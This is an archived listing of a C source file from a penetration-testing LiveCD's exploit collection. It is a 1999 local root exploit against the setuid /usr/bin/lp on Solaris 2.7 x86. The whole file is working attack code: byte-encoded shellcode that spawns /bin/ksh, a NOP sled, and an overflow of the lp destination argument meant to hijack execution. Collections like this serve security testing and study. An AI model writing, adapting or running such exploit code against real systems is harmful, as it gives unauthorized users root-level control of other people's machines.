home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / lp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  63 lines

  1. /*## copyright LAST STAGE OF DELIRIUM jun 1999 poland        *://lsd-pl.net/ #*/
  2. /*## /usr/bin/lp                                                             #*/
  3.  
  4. #define NOPNUM 4500
  5. #define ADRNUM 996
  6. #define ALLIGN 3
  7.  
  8. char shellcode[]=
  9.     "\xeb\x1b"             /* jmp     <shellcode+30>       */
  10.     "\x33\xd2"             /* xorl    %edx,%edx            */
  11.     "\x58"                 /* popl    %eax                 */
  12.     "\x8d\x78\x14"         /* leal    0x14(%eax),edi       */
  13.     "\x52"                 /* pushl   %edx                 */
  14.     "\x57"                 /* pushl   %edi                 */
  15.     "\x50"                 /* pushl   %eax                 */
  16.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  17.     "\x92"                 /* xchgl   %eax,%edx            */
  18.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  19.     "\x88\x42\x08"         /* movb    %al,0x8(%edx)        */
  20.     "\x83\xef\x3c"         /* subl    $0x3c,%edi           */
  21.     "\xb0\x9a"             /* movb    $0x9a,%al            */
  22.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  23.     "\x47"                 /* incl    %edi                 */
  24.     "\xb0\x07"             /* movb    $0x7,%al             */
  25.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  26.     "\xb0\x3b"             /* movb    $0x3b,%al            */
  27.     "\xe8\xe0\xff\xff\xff" /* call    <shellcode+2>        */
  28.     "/bin/ksh"
  29. ;
  30.  
  31. char jump[]=
  32.     "\x8b\xc4"             /* movl    %esp,%eax            */
  33.     "\xc3"                 /* ret                          */
  34. ;
  35.  
  36. main(int argc,char **argv){
  37.     char buffer[10000],adr[4],*b,*envp[2];
  38.     int i;
  39.  
  40.     printf("copyright LAST STAGE OF DELIRIUM jun 1999 poland  //lsd-pl.net/\n");
  41.     printf("/usr/bin/lp for solaris 2.7 x86\n\n");
  42.  
  43.     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+6316+2128;
  44.  
  45.     envp[0]=&buffer[0];
  46.     envp[1]=0;
  47.  
  48.     b=&buffer[0];
  49.     sprintf(b,"xxx=");
  50.     b+=4;  
  51.     for(i=0;i<NOPNUM;i++) *b++=0x90;
  52.     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  53.     *b=0;
  54.  
  55.     b=&buffer[5000];
  56.     *b++=':';
  57.     for(i=0;i<ALLIGN;i++) *b++=0xff;
  58.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  59.     *b=0;
  60.  
  61.     execle("/usr/bin/lp","lp","-d",&buffer[5000],"-p","/bin/sh",0,envp);
  62. }
  63. /*                    www.hack.co.za           [11 August 2000]*/